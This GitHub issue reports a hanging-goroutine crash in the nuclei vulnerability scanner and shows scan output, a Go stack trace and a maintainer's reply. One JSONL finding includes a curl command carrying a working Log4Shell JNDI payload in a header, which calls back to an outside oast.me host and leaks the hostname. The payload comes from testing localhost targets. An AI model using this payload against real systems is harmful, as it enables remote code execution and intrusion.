projectdiscovery / nuclei

Fast and customizable vulnerability scanner based on simple YAML based DSL.
https://docs.projectdiscovery.io/tools/nuclei
MIT License
19.42k stars 2.41k forks source link

[ERR] Detected hanging goroutine (count=30/30) = nuclei-stacktrace-cgpv0qh4su15i8o0001g.dump #3524

Closed ocervell closed 1 year ago

ocervell commented 1 year ago

Targets:

http://localhost:3000
http://localhost:8080

Logs:

nuclei -l /tmp/nuclei_2023_04_10-10_27_30_610288_AM.txt -jsonl -exclude-tags network,ssl,file,dns,osint,token-spray -c 50 -sj -hm

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.9.1

                projectdiscovery.io

[INF] Using Nuclei Engine 2.9.1 (latest)
[INF] Using Nuclei Templates 9.4.2 (latest)
[INF] Templates added in last update: 78
[INF] Templates loaded for scan: 4742
[INF] Targets loaded for scan: 2
[INF] Templates clustered: 1021 (Reduced 1896 Requests)
...
{"template":"vulnerabilities/springboot/springboot-log4j-rce.yaml","template-url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/vulnerabilities/springboot/springboot-log4j-rce.yaml","template-id":"springboot-log4j-rce","template-path":"/home/vagrant/nuclei-templates/vulnerabilities/springboot/springboot-log4j-rce.yaml","info":{"name":"Spring Boot - Remote Code Execution (Apache Log4j)","author":["pdteam"],"tags":["cve","cve2021","springboot","rce","oast","log4j","kev"],"description":"Spring Boot is susceptible to remote code execution via Apache Log4j.","reference":["https://logging.apache.org/log4j/2.x/security.html","https://www.lunasec.io/docs/blog/log4j-zero-day/","https://github.com/twseptian/spring-boot-log4j-cve-2021-44228-docker-lab","https://nvd.nist.gov/vuln/detail/cve-2021-44228"],"severity":"critical","classification":{"cve-id":["cve-2021-44228"],"cwe-id":["cwe-502"],"cvss-metrics":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cvss-score":10},"remediation":"Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later)."},"type":"http","host":"http://localhost:8080","matched-at":"http://localhost:8080/","extracted-results":["146.112.128.70","fe9391f327ce"],"ip":"127.0.0.1","timestamp":"2023-04-10T11:16:45.686006941Z","interaction":{"protocol":"dns","unique-id":"cgpuvjp4su15i8o00010pg5qmuzsegps3","full-id":"fe9391f327ce.cgpuvjp4su15i8o00010pg5qmuzsegps3","q-type":"A","raw-request":";; opcode: QUERY, status: NOERROR, id: 39252\n;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version 0; flags: do; udp: 1410\n\n;; QUESTION SECTION:\n;fe9391f327ce.cgpuvjp4su15i8o00010pg5qmuzsegps3.oast.me.\tIN\t A\n","raw-response":";; opcode: QUERY, status: NOERROR, id: 39252\n;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2\n\n;; QUESTION SECTION:\n;fe9391f327ce.cgpuvjp4su15i8o00010pg5qmuzsegps3.oast.me.\tIN\t A\n\n;; ANSWER SECTION:\nfe9391f327ce.cgpuvjp4su15i8o00010pg5qmuzsegps3.oast.me.\t3600\tIN\tA\t178.128.209.14\n\n;; AUTHORITY SECTION:\nfe9391f327ce.cgpuvjp4su15i8o00010pg5qmuzsegps3.oast.me.\t3600\tIN\tNS\tns1.oast.me.\nfe9391f327ce.cgpuvjp4su15i8o00010pg5qmuzsegps3.oast.me.\t3600\tIN\tNS\tns2.oast.me.\n\n;; ADDITIONAL SECTION:\nns1.oast.me.\t3600\tIN\tA\t178.128.209.14\nns2.oast.me.\t3600\tIN\tA\t178.128.209.14\n","remote-address":"146.112.128.70","timestamp":"2023-04-10T11:16:40.76198409Z"},"curl-command":"curl -X 'GET' -d '' -H 'Host: localhost:8080' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36' -H 'X-Api-Version: ${jndi:ldap://${hostName}.cgpuvjp4su15i8o00010pg5qmuzsegps3.oast.me}' 'http://localhost:8080/'","matcher-status":true,"matched-line":null}
{"duration":"0:01:20","errors":"38","hosts":"2","matched":"43","percent":"77","requests":"11668","rps":"145","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:01:25","errors":"43","hosts":"2","matched":"43","percent":"82","requests":"12357","rps":"145","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:01:30","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"140","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:01:35","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"132","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:01:40","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"126","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:01:45","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"120","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:01:50","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"114","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:01:55","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"109","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:00","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"105","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:05","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"101","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:10","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"97","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:15","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"93","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:20","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"90","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:25","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"87","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:30","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"84","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
{"duration":"0:02:35","errors":"46","hosts":"2","matched":"43","percent":"84","requests":"12632","rps":"81","startedAt":"2023-04-10T11:15:27.846154792Z","templates":"4742","total":"14984"}
[ERR] Detected hanging goroutine (count=30/30) = nuclei-stacktrace-cgpv0qh4su15i8o0001g.dump

Crash dump:

goroutine 15 [running]:
github.com/projectdiscovery/nuclei/v2/pkg/utils/monitor.glob..func1(0x0?)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/utils/monitor/monitor.go:93 +0x50
github.com/projectdiscovery/nuclei/v2/pkg/utils/monitor.(*Agent).monitorWorker(0xc0007fdec0)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/utils/monitor/monitor.go:71 +0xc2
github.com/projectdiscovery/nuclei/v2/pkg/utils/monitor.NewStackMonitor.func1()
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/utils/monitor/monitor.go:43 +0x98
created by github.com/projectdiscovery/nuclei/v2/pkg/utils/monitor.NewStackMonitor
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/utils/monitor/monitor.go:37 +0xf8

goroutine 1 [semacquire, 1 minutes]:
sync.runtime_Semacquire(0x445771?)
    /usr/local/go/src/runtime/sema.go:62 +0x27
sync.(*WaitGroup).Wait(0x157b6c7?)
    /usr/local/go/src/sync/waitgroup.go:116 +0x4b
github.com/remeh/sizedwaitgroup.(*SizedWaitGroup).Wait(...)
    /home/vagrant/go/pkg/mod/github.com/remeh/sizedwaitgroup@v1.0.0/sizedwaitgroup.go:83
github.com/projectdiscovery/nuclei/v2/pkg/core.(*WorkPool).Wait(0xc00886c1b0)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/workpool.go:46 +0x2b
github.com/projectdiscovery/nuclei/v2/pkg/core.(*Engine).executeTemplateSpray(0xc000022540, {0xc008c46000, 0xed8, 0x1?}, {0x2677f10?, 0xc0007ea180})
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/execute_options.go:105 +0x265
github.com/projectdiscovery/nuclei/v2/pkg/core.(*Engine).ExecuteScanWithOpts(0xc000022540, {0xc008708000, 0xed9, 0x1286}, {0x2677f10, 0xc0007ea180}, 0x1)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/execute_options.go:67 +0x5ae
github.com/projectdiscovery/nuclei/v2/internal/runner.(*Runner).executeTemplatesInput(0xc0007d2460, 0xc0001f2c60, 0xc000022540)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/internal/runner/runner.go:667 +0x42c
github.com/projectdiscovery/nuclei/v2/internal/runner.(*Runner).runStandardEnumeration(_, {{0x0, 0x0}, {0x0, 0x0}, {{0x0, 0x0}, {{0x0, 0x0}}, {{0x0, ...}}, ...}, ...}, ...)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/internal/runner/enumerate.go:34 +0x6d
github.com/projectdiscovery/nuclei/v2/internal/runner.(*Runner).RunEnumeration(0xc0007d2460)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/internal/runner/runner.go:553 +0x1cf4
main.main()
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/cmd/nuclei/main.go:105 +0x588

goroutine 23 [IO wait, 2 minutes]:
internal/poll.runtime_pollWait(0x7fad0a8fa098, 0x72)
    /usr/local/go/src/runtime/netpoll.go:306 +0x89
internal/poll.(*pollDesc).wait(0xc0083bbf80?, 0xc000082d58?, 0x0)
    /usr/local/go/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
    /usr/local/go/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).Accept(0xc0083bbf80)
    /usr/local/go/src/internal/poll/fd_unix.go:614 +0x2bd
net.(*netFD).accept(0xc0083bbf80)
    /usr/local/go/src/net/fd_unix.go:172 +0x35
net.(*TCPListener).accept(0xc007a3d248)
    /usr/local/go/src/net/tcpsock_posix.go:148 +0x25
net.(*TCPListener).Accept(0xc007a3d248)
    /usr/local/go/src/net/tcpsock.go:297 +0x3d
net/http.(*Server).Serve(0xc000824e10, {0x26788a0, 0xc007a3d248})
    /usr/local/go/src/net/http/server.go:3059 +0x385
net/http.(*Server).ListenAndServe(0xc000824e10)
    /usr/local/go/src/net/http/server.go:2988 +0x7d
github.com/projectdiscovery/clistats.(*Statistics).Start.func2()
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/clistats@v0.0.12/clistats.go:172 +0x25
created by github.com/projectdiscovery/clistats.(*Statistics).Start
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/clistats@v0.0.12/clistats.go:171 +0x2d6

goroutine 7 [select]:
github.com/syndtr/goleveldb/leveldb.(*DB).mpoolDrain(0xc000311d40)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_state.go:101 +0xa8
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:143 +0x52a

goroutine 22 [select]:
github.com/projectdiscovery/clistats.(*Statistics).eventLoop(0xc0004401e0, 0xc0004b8900?)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/clistats@v0.0.12/clistats.go:191 +0x1c5
created by github.com/projectdiscovery/clistats.(*Statistics).Start
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/clistats@v0.0.12/clistats.go:131 +0xce

goroutine 21 [syscall, 2 minutes]:
syscall.Syscall(0xc000069da0?, 0x424b25?, 0x800000?, 0x7ffff800000?)
    /usr/local/go/src/syscall/syscall_linux.go:69 +0x27
syscall.read(0xc0001a4000?, {0xc009ed4000?, 0x3522380?, 0xc000069e20?})
    /usr/local/go/src/syscall/zsyscall_linux_amd64.go:711 +0x45
syscall.Read(...)
    /usr/local/go/src/syscall/syscall_unix.go:178
internal/poll.ignoringEINTRIO(...)
    /usr/local/go/src/internal/poll/fd_unix.go:794
internal/poll.(*FD).Read(0xc0001a4000?, {0xc009ed4000?, 0x1000?, 0x1000?})
    /usr/local/go/src/internal/poll/fd_unix.go:163 +0x2ce
os.(*File).read(...)
    /usr/local/go/src/os/file_posix.go:31
os.(*File).Read(0xc0001a2000, {0xc009ed4000?, 0xc008558a20?, 0x0?})
    /usr/local/go/src/os/file.go:118 +0x5e
bufio.(*Reader).fill(0xc000069f78)
    /usr/local/go/src/bufio/bufio.go:106 +0xff
bufio.(*Reader).ReadRune(0xc000069f78)
    /usr/local/go/src/bufio/bufio.go:300 +0x25
github.com/projectdiscovery/clistats.(*Statistics).internalRead.func1()
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/clistats@v0.0.12/clistats.go:220 +0x165
created by github.com/projectdiscovery/clistats.(*Statistics).internalRead
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/clistats@v0.0.12/clistats.go:212 +0x56

goroutine 6 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).compactionError(0xc000311d40)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:90 +0x137
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:142 +0x4ea

goroutine 41 [select]:
github.com/syndtr/goleveldb/leveldb/util.(*BufferPool).drain(0xc0007d20e0)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/util/buffer_pool.go:206 +0xc7
created by github.com/syndtr/goleveldb/leveldb/util.NewBufferPool
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/util/buffer_pool.go:237 +0x18c

goroutine 8 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).tCompaction(0xc000311d40)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:825 +0x6b7
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:149 +0x59b

goroutine 9 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).mCompaction(0xc000311d40)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:762 +0x113
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:150 +0x5d8

goroutine 10 [select]:
github.com/syndtr/goleveldb/leveldb/util.(*BufferPool).drain(0xc0007d22a0)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/util/buffer_pool.go:206 +0xc7
created by github.com/syndtr/goleveldb/leveldb/util.NewBufferPool
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/util/buffer_pool.go:237 +0x18c

goroutine 11 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).compactionError(0xc000526000)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:90 +0x137
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:142 +0x4ea

goroutine 12 [select]:
github.com/syndtr/goleveldb/leveldb.(*DB).mpoolDrain(0xc000526000)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_state.go:101 +0xa8
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:143 +0x52a

goroutine 13 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).tCompaction(0xc000526000)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:825 +0x6b7
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:149 +0x59b

goroutine 14 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).mCompaction(0xc000526000)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:762 +0x113
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:150 +0x5d8

goroutine 59 [select]:
github.com/syndtr/goleveldb/leveldb.(*DB).mpoolDrain(0xc000186680)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_state.go:101 +0xa8
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:143 +0x52a

goroutine 42 [select]:
github.com/syndtr/goleveldb/leveldb/util.(*BufferPool).drain(0xc000032000)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/util/buffer_pool.go:206 +0xc7
created by github.com/syndtr/goleveldb/leveldb/util.NewBufferPool
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/util/buffer_pool.go:237 +0x18c

goroutine 58 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).compactionError(0xc000186680)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:90 +0x137
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:142 +0x4ea

goroutine 60 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).tCompaction(0xc000186680)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:825 +0x6b7
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:149 +0x59b

goroutine 61 [select, 2 minutes]:
github.com/syndtr/goleveldb/leveldb.(*DB).mCompaction(0xc000186680)
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db_compaction.go:762 +0x113
created by github.com/syndtr/goleveldb/leveldb.openDB
    /home/vagrant/go/pkg/mod/github.com/syndtr/goleveldb@v1.0.0/leveldb/db.go:150 +0x5d8

goroutine 62 [select, 1 minutes]:
github.com/karlseguin/ccache.(*Cache).worker(0xc0008020a0)
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:167 +0xd1
created by github.com/karlseguin/ccache.(*Cache).restart
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:136 +0x10a

goroutine 63 [select, 1 minutes]:
github.com/karlseguin/ccache.(*Cache).worker(0xc0008020f0)
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:167 +0xd1
created by github.com/karlseguin/ccache.(*Cache).restart
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:136 +0x10a

goroutine 64 [select, 2 minutes]:
github.com/karlseguin/ccache.(*Cache).worker(0xc000802140)
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:167 +0xd1
created by github.com/karlseguin/ccache.(*Cache).restart
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:136 +0x10a

goroutine 65 [select, 1 minutes]:
github.com/karlseguin/ccache.(*Cache).worker(0xc000802190)
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:167 +0xd1
created by github.com/karlseguin/ccache.(*Cache).restart
    /home/vagrant/go/pkg/mod/github.com/karlseguin/ccache@v2.0.3+incompatible/cache.go:136 +0x10a

goroutine 66 [select]:
github.com/projectdiscovery/ratelimit.(*Limiter).run(0xc0007ea380, {0x2679a18, 0xc0008021e0})
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/ratelimit@v0.0.6/ratelimit.go:27 +0x16e
created by github.com/projectdiscovery/ratelimit.New
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/ratelimit@v0.0.6/ratelimit.go:93 +0x185

goroutine 68 [syscall, 2 minutes]:
os/signal.signal_recv()
    /usr/local/go/src/runtime/sigqueue.go:152 +0x2f
os/signal.loop()
    /usr/local/go/src/os/signal/signal_unix.go:23 +0x19
created by os/signal.Notify.func1.1
    /usr/local/go/src/os/signal/signal.go:151 +0x2a

goroutine 69 [chan receive, 2 minutes]:
main.main.func2()
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/cmd/nuclei/main.go:91 +0x6b
created by main.main
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/cmd/nuclei/main.go:90 +0x57b

goroutine 53042 [semacquire, 2 minutes]:
sync.runtime_Semacquire(0x48?)
    /usr/local/go/src/runtime/sema.go:62 +0x27
sync.(*WaitGroup).Wait(0xc0007ea180?)
    /usr/local/go/src/sync/waitgroup.go:116 +0x4b
github.com/remeh/sizedwaitgroup.(*SizedWaitGroup).Wait(...)
    /home/vagrant/go/pkg/mod/github.com/remeh/sizedwaitgroup@v1.0.0/sizedwaitgroup.go:83
github.com/projectdiscovery/nuclei/v2/pkg/core.(*Engine).executeTemplateWithTargets(0xc000022540, 0xc0031a6c00, {0x2677f10, 0xc0007ea180}, 0xc0075d9d90)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/executors.go:139 +0x491
github.com/projectdiscovery/nuclei/v2/pkg/core.(*Engine).executeTemplateSpray.func1(0x0?)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/execute_options.go:102 +0x6e
created by github.com/projectdiscovery/nuclei/v2/pkg/core.(*Engine).executeTemplateSpray
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/execute_options.go:97 +0x67

goroutine 5411 [select]:
github.com/projectdiscovery/interactsh/pkg/client.(*Client).StartPolling.func1()
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/interactsh@v1.1.2/pkg/client/client.go:328 +0x111
created by github.com/projectdiscovery/interactsh/pkg/client.(*Client).StartPolling
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/interactsh@v1.1.2/pkg/client/client.go:322 +0x1aa

goroutine 53044 [sync.Mutex.Lock, 2 minutes]:
sync.runtime_SemacquireMutex(0x0?, 0x0?, 0x108f820?)
    /usr/local/go/src/runtime/sema.go:77 +0x26
sync.(*Mutex).lockSlow(0xc0075cd1d0)
    /usr/local/go/src/sync/mutex.go:171 +0x165
sync.(*Mutex).Lock(...)
    /usr/local/go/src/sync/mutex.go:90
sync.(*RWMutex).Lock(0x470207?)
    /usr/local/go/src/sync/rwmutex.go:147 +0x36
github.com/projectdiscovery/nuclei/v2/pkg/output.(*InternalWrappedEvent).SetOperatorResult(0xc0075cd1d0, 0xc005473200)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/output/output.go:89 +0x3a
github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh.(*Client).processInteractionForRequest(0xc000667200, 0xc00186a9a0, 0xc008622150)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/protocols/common/interactsh/interactsh.go:225 +0x274
github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/interactsh.(*Client).RequestEvent(0xc000667200, {0xc00a92a600, 0x13, 0xc0075cd1d0?}, 0xc008622150)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/protocols/common/interactsh/interactsh.go:377 +0x44b
github.com/projectdiscovery/nuclei/v2/pkg/protocols/http.(*Request).ExecuteWithResults.func1.1(0xc0075cd1d0)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/protocols/http/request.go:389 +0x2d5
github.com/projectdiscovery/nuclei/v2/pkg/protocols/http.(*Request).executeRequest(0xc00313ca80, 0xc007a04e20, 0xc00664da40, 0xc007a04e20?, 0x1, 0xc008751800, 0xc00886f140?)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/protocols/http/request.go:761 +0x2a9b
github.com/projectdiscovery/nuclei/v2/pkg/protocols/http.(*Request).ExecuteWithResults.func1({0xc003238600, 0x5da}, 0xc00886f140, 0xc001647500)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/protocols/http/request.go:382 +0x8c5
github.com/projectdiscovery/nuclei/v2/pkg/protocols/http.(*Request).ExecuteWithResults(0xc00313ca80, 0xc007a04e20, 0xc001647500, 0xc001647530, 0xc0016478f0)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/protocols/http/request.go:438 +0x36a
github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/executer.(*Executer).Execute(0xc0031cda00, 0xc007a04d80)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/protocols/common/executer/executer.go:81 +0x383
github.com/projectdiscovery/nuclei/v2/pkg/core.(*Engine).executeTemplateWithTargets.func2.1(0x7620e6?, 0x0?, 0xc007a04d20)
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/executors.go:128 +0x296
created by github.com/projectdiscovery/nuclei/v2/pkg/core.(*Engine).executeTemplateWithTargets.func2
    /home/vagrant/go/pkg/mod/github.com/projectdiscovery/nuclei/v2@v2.9.1/pkg/core/executors.go:105 +0x4f8
tarunKoyalwar commented 1 year ago

@ocervell , can you try using nuclei from dev branch and share if you are still facing the issue

go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@dev

we recently reworked lot of logic related to interactsh . above stack strace seems to indicate that issue (related to interactsh pooling & cache)

stale[bot] commented 1 year ago

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.